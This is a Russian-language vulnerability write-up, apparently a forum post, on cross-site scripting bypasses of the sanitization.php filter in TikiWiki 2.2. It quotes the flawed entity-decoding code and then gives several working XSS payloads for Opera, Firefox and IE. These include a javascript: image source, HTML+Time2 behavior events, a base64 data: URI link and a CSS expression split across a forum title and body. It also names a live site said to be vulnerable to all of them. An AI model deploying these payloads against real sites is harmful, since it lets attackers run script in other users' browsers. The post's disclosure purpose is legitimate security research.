TikiWiki 2.2 CMS/Groupware XSS vulnerability
Неправильный кусок кода из файла sanitization.php
PHP код:
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,8} matches any padded zeros,
// which are optional and go up to 8 chars
// @ @ search for the hex values
$patterns[] = '/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i';
$replacements[] = $search[$i];
// @ @ 0{0,8} matches '0' zero to eight times
// with a ;
$patterns[] = '/(�{0,8}'.ord($search[$i]).';?)/';
$replacements[] = $search[$i];
}
В Opera и FF ограничений по количеству опциональных нулей
нет, поэтому если при кодировании используется хотя бы 9 нулей, фильтр считает, что перед ним другой символ.
активная XSS (Opera only)*
PHP код:
<img src="javascript:confirm(/lo/)">
*в различных полях невозможность использования этого способа вызвана дополнительной фильтрацией. Так, например, в личных сообщениях, либо тексте комментариев блога, если фильтр не определил закодированный символ, идет преобразование & --> & Однако же в названиях и описаниях блогов этой допфильтрации нет.
активная XSS (IE only)
Код:
<img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" end=0 onend=confirm(/lo/)>
или
Код:
<img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" onbegin="confirm(/lo/)">
*пропуск событий HTML+Time2
*пропуск эскейп-последовательностей
пассивная XSS (Opera & FF)
Код:
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgvbG8vKTwvc2NyaXB0Pg==">click me</a>
Проверка производилась на локально установленном движке в личных сообщениях и блогах, этого достаточно, чтобы увидеть практическую работу модуля sanitization.php. Дополнительная фильтрация в отдельных полях может быть обсуждена отдельно.
Также следует отметить неаккуратную работу фильтра со структурой тега. Весьма легко производится выход за пределы тега. Невнимание разработчиков можно объяснить тем, что за пределами тега существует такая же фильтрация, как и внутри него. Однако же фильтрация между полями на одной странице отсутствует, в силу чего можно составить код xss, берущий начало в одном поле, а заканчивающийся в другом.
Замечательное подтверждение вышесказанному сайтец http://lojban.org, основанный на tikiwiki 3.0beta. В форумных заголовках (title) сообщений проходят ВСЕ вышеописанные XSS.
Активная XSS уязвимость, основанная на нарушении структуры тега, может быть такая (IE only):
в заголовке форумного сообщения
Код:
<a style=`display:none;lo:expres/*;></a>
в теле форумного сообщения
Код:
[http://www.foo.com/lo*/sion(this.lo==true?true:confirm(/lo/,this.lo=true));`| ]